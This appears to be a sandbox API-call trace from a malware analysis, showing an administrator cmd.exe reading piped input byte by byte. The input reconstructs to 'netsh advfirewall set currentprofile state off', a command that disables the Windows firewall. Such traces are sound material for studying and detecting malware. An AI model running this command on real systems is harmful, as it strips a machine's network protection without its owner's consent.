hProcess=0x98, lpExitCode=0xa08f0ecf8 | out: lpExitCode=0xa08f0ecf8*=0x0) returned 1 [0135.093] CloseHandle (hObject=0x98) returned 1 [0135.093] _vsnwprintf (in: _Buffer=0xa08f0eec8, _BufferCount=0x13, _Format="%08X", _ArgList=0xa08f0ed08 | out: _Buffer="00000000") returned 8 [0135.093] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000000") returned 1 [0135.093] GetProcessHeap () returned 0x1515c080000 [0135.093] RtlFreeHeap (HeapHandle=0x1515c080000, Flags=0x0, BaseAddress=0x1515c099510) returned 1 [0135.093] GetEnvironmentStringsW () returned 0x1515c09aae0* [0135.093] GetProcessHeap () returned 0x1515c080000 [0135.093] RtlAllocateHeap (HeapHandle=0x1515c080000, Flags=0x8, Size=0xaea) returned 0x1515c09b5e0 [0135.093] FreeEnvironmentStringsA (penv="=") returned 1 [0135.093] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0135.093] GetProcessHeap () returned 0x1515c080000 [0135.093] RtlFreeHeap (HeapHandle=0x1515c080000, Flags=0x0, BaseAddress=0x1515c09b5e0) returned 1 [0135.093] GetEnvironmentStringsW () returned 0x1515c09aae0* [0135.094] GetProcessHeap () returned 0x1515c080000 [0135.094] RtlAllocateHeap (HeapHandle=0x1515c080000, Flags=0x8, Size=0xaea) returned 0x1515c09b5e0 [0135.094] FreeEnvironmentStringsA (penv="=") returned 1 [0135.094] GetProcessHeap () returned 0x1515c080000 [0135.094] RtlFreeHeap (HeapHandle=0x1515c080000, Flags=0x0, BaseAddress=0x1515c086ef0) returned 1 [0135.094] DeleteProcThreadAttributeList (in: lpAttributeList=0xa08f0ee80 | out: lpAttributeList=0xa08f0ee80) [0135.094] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0135.096] ??_V@YAXPEAX@Z () returned 0x1 [0135.096] _get_osfhandle (_FileHandle=1) returned 0x274 [0135.096] SetConsoleMode (hConsoleHandle=0x274, dwMode=0x0) returned 0 [0135.096] _get_osfhandle (_FileHandle=1) returned 0x274 [0135.096] GetConsoleMode (in: hConsoleHandle=0x274, lpMode=0x7ff6c4f3fc08 | out: lpMode=0x7ff6c4f3fc08) returned 0 [0135.096] _get_osfhandle (_FileHandle=0) returned 0x264 [0135.096] GetConsoleMode (in: hConsoleHandle=0x264, lpMode=0x7ff6c4f3fc0c | out: lpMode=0x7ff6c4f3fc0c) returned 0 [0135.096] GetConsoleOutputCP () returned 0x1b5 [0135.096] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff6c4f3fbb0 | out: lpCPInfo=0x7ff6c4f3fbb0) returned 1 [0135.096] SetThreadUILanguage (LangId=0x0) returned 0x409 [0135.098] GetProcessHeap () returned 0x1515c080000 [0135.098] RtlFreeHeap (HeapHandle=0x1515c080000, Flags=0x0, BaseAddress=0x1515c099080) returned 1 [0135.098] GetProcessHeap () returned 0x1515c080000 [0135.098] RtlFreeHeap (HeapHandle=0x1515c080000, Flags=0x0, BaseAddress=0x1515c098eb0) returned 1 [0135.098] GetProcessHeap () returned 0x1515c080000 [0135.098] RtlFreeHeap (HeapHandle=0x1515c080000, Flags=0x0, BaseAddress=0x1515c098cf0) returned 1 [0135.098] GetProcessHeap () returned 0x1515c080000 [0135.098] RtlFreeHeap (HeapHandle=0x1515c080000, Flags=0x0, BaseAddress=0x1515c098c90) returned 1 [0135.098] GetProcessHeap () returned 0x1515c080000 [0135.098] RtlFreeHeap (HeapHandle=0x1515c080000, Flags=0x0, BaseAddress=0x1515c098c10) returned 1 [0135.098] GetProcessHeap () returned 0x1515c080000 [0135.098] RtlFreeHeap (HeapHandle=0x1515c080000, Flags=0x0, BaseAddress=0x1515c088c20) returned 1 [0135.098] GetProcessHeap () returned 0x1515c080000 [0135.098] RtlFreeHeap (HeapHandle=0x1515c080000, Flags=0x0, BaseAddress=0x1515c088bb0) returned 1 [0135.098] GetProcessHeap () returned 0x1515c080000 [0135.098] RtlFreeHeap (HeapHandle=0x1515c080000, Flags=0x0, BaseAddress=0x1515c086c60) returned 1 [0135.098] GetProcessHeap () returned 0x1515c080000 [0135.098] RtlFreeHeap (HeapHandle=0x1515c080000, Flags=0x0, BaseAddress=0x1515c086e30) returned 1 [0135.099] _vsnwprintf (in: _Buffer=0x7ff6c4f47f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xa08f0f2a8 | out: _Buffer="\r\n") returned 2 [0135.099] _get_osfhandle (_FileHandle=1) returned 0x274 [0135.099] GetFileType (hFile=0x274) returned 0x3 [0135.099] _get_osfhandle (_FileHandle=1) returned 0x274 [0135.099] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0135.099] WriteFile (in: hFile=0x274, lpBuffer=0x7ff6c4f39970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xa08f0f278, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesWritten=0xa08f0f278*=0x2, lpOverlapped=0x0) returned 1 [0135.099] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff6c4f3bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0135.099] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x1515c180080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0135.099] _vsnwprintf (in: _Buffer=0x1515c190060, _BufferCount=0x83e5, _Format="%s", _ArgList=0xa08f0f2b8 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0135.099] _vsnwprintf (in: _Buffer=0x1515c190086, _BufferCount=0x83d2, _Format="%c", _ArgList=0xa08f0f2b8 | out: _Buffer=">") returned 1 [0135.099] _get_osfhandle (_FileHandle=1) returned 0x274 [0135.099] GetFileType (hFile=0x274) returned 0x3 [0135.099] _get_osfhandle (_FileHandle=1) returned 0x274 [0135.099] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21 [0135.099] WriteFile (in: hFile=0x274, lpBuffer=0x7ff6c4f39970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0xa08f0f2a8, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesWritten=0xa08f0f2a8*=0x14, lpOverlapped=0x0) returned 1 [0135.099] _get_osfhandle (_FileHandle=0) returned 0x264 [0135.099] GetFileType (hFile=0x264) returned 0x3 [0135.099] _get_osfhandle (_FileHandle=0) returned 0x264 [0135.099] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.099] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0135.099] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c30, cchWideChar=1 | out: lpWideCharStr="netsh advfirewall set currentprofile state off\n") returned 1 [0135.099] _get_osfhandle (_FileHandle=0) returned 0x264 [0135.099] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.099] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0135.099] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c32, cchWideChar=1 | out: lpWideCharStr="etsh advfirewall set currentprofile state off\n") returned 1 [0135.099] _get_osfhandle (_FileHandle=0) returned 0x264 [0135.099] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.100] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0135.100] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c34, cchWideChar=1 | out: lpWideCharStr="tsh advfirewall set currentprofile state off\n") returned 1 [0135.100] _get_osfhandle (_FileHandle=0) returned 0x264 [0135.100] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.100] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0135.100] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c36, cchWideChar=1 | out: lpWideCharStr="sh advfirewall set currentprofile state off\n") returned 1 [0135.100] _get_osfhandle (_FileHandle=0) returned 0x264 [0135.100] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.100] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0135.100] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c38, cchWideChar=1 | out: lpWideCharStr="h advfirewall set currentprofile state off\n") returned 1 [0135.100] _get_osfhandle (_FileHandle=0) returned 0x264 [0135.100] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.100] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0135.100] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c3a, cchWideChar=1 | out: lpWideCharStr=" advfirewall set currentprofile state off\n") returned 1 [0135.100] _get_osfhandle (_FileHandle=0) returned 0x264 [0135.100] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.100] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0135.100] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c3c, cchWideChar=1 | out: lpWideCharStr="fdvfirewall set currentprofile state off\n") returned 1 [0135.100] _get_osfhandle (_FileHandle=0) returned 0x264 [0135.100] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.100] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0135.100] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c3e, cchWideChar=1 | out: lpWideCharStr="ivfirewall set currentprofile state off\n") returned 1 [0135.100] _get_osfhandle (_FileHandle=0) returned 0x264 [0135.100] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.100] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0135.100] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c40, cchWideChar=1 | out: lpWideCharStr="rfirewall set currentprofile state off\n") returned 1 [0135.100] _get_osfhandle (_FileHandle=0) returned 0x264 [0135.100] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.100] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0135.100] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c42, cchWideChar=1 | out: lpWideCharStr="eirewall set currentprofile state off\n") returned 1 [0135.101] _get_osfhandle (_FileHandle=0) returned 0x264 [0135.101] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.101] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0135.101] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c44, cchWideChar=1 | out: lpWideCharStr="wrewall set currentprofile state off\n") returned 1 [0135.101] _get_osfhandle (_FileHandle=0) returned 0x264 [0135.101] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.101] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0135.101] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c46, cchWideChar=1 | out: lpWideCharStr="aewall set currentprofile state off\n") returned 1 [0135.101] _get_osfhandle (_FileHandle=0) returned 0x264 [0135.101] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.101] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0135.101] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c48, cchWideChar=1 | out: lpWideCharStr="lwall set currentprofile state off\n") returned 1 [0135.101] _get_osfhandle (_FileHandle=0) returned 0x264 [0135.101] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.101] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0135.101] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c4a, cchWideChar=1 | out: lpWideCharStr="lall set currentprofile state off\n") returned 1 [0135.101] _get_osfhandle (_FileHandle=0) returned 0x264 [0135.101] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.101] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0135.101] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c4c, cchWideChar=1 | out: lpWideCharStr=" ll set currentprofile state off\n") returned 1 [0135.101] _get_osfhandle (_FileHandle=0) returned 0x264 [0135.101] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.101] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0135.101] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c4e, cchWideChar=1 | out: lpWideCharStr="sl set currentprofile state off\n") returned 1 [0135.101] _get_osfhandle (_FileHandle=0) returned 0x264 [0135.101] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.101] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0135.101] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c50, cchWideChar=1 | out: lpWideCharStr="e set currentprofile state off\n") returned 1 [0135.101] _get_osfhandle (_FileHandle=0) returned 0x264 [0135.101] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.101] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0135.102] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c52, cchWideChar=1 | out: lpWideCharStr="tset currentprofile state off\n") returned 1 [0135.102] _get_osfhandle (_FileHandle=0) returned 0x264 [0135.102] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.102] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0135.102] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c54, cchWideChar=1 | out: lpWideCharStr=" et currentprofile state off\n") returned 1 [0135.102] _get_osfhandle (_FileHandle=0) returned 0x264 [0135.102] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.102] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0135.102] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c56, cchWideChar=1 | out: lpWideCharStr="ot currentprofile state off\n") returned 1 [0135.102] _get_osfhandle (_FileHandle=0) returned 0x264 [0135.102] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.102] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0135.102] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c58, cchWideChar=1 | out: lpWideCharStr="p currentprofile state off\n") returned 1 [0135.102] _get_osfhandle (_FileHandle=0) returned 0x264 [0135.102] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.102] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0135.102] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c5a, cchWideChar=1 | out: lpWideCharStr="mcurrentprofile state off\n") returned 1 [0135.102] _get_osfhandle (_FileHandle=0) returned 0x264 [0135.102] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.102] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0135.102] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c5c, cchWideChar=1 | out: lpWideCharStr="ourrentprofile state off\n") returned 1 [0135.102] _get_osfhandle (_FileHandle=0) returned 0x264 [0135.102] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.102] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0135.102] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c5e, cchWideChar=1 | out: lpWideCharStr="drrentprofile state off\n") returned 1 [0135.102] _get_osfhandle (_FileHandle=0) returned 0x264 [0135.102] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.102] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0135.102] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c60, cchWideChar=1 | out: lpWideCharStr="erentprofile state off\n") returned 1 [0135.102] _get_osfhandle (_FileHandle=0) returned 0x264 [0135.102] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.103] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0135.103] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c62, cchWideChar=1 | out: lpWideCharStr=" entprofile state off\n") returned 1 [0135.103] _get_osfhandle (_FileHandle=0) returned 0x264 [0135.103] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.103] ReadFile (in: hFile=0x264, lpBuffer=0x7ff6c4f39970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xa08f0f608, lpOverlapped=0x0 | out: lpBuffer=0x7ff6c4f39970*, lpNumberOfBytesRead=0xa08f0f608*=0x1, lpOverlapped=0x0) returned 1 [0135.103] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff6c4f39970, cbMultiByte=1, lpWideCharStr=0x7ff6c4f43c64, cchWideChar=1 | out: lpWideCharStr="mntprofile state off\n") returned 1 [0135.103] _get_osfhandle (_FileHandle=0) returned 0x264 [0135.103] SetFilePointer (in: hFile=0x264, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0135.103] ReadFile (in: hFile=0x264, 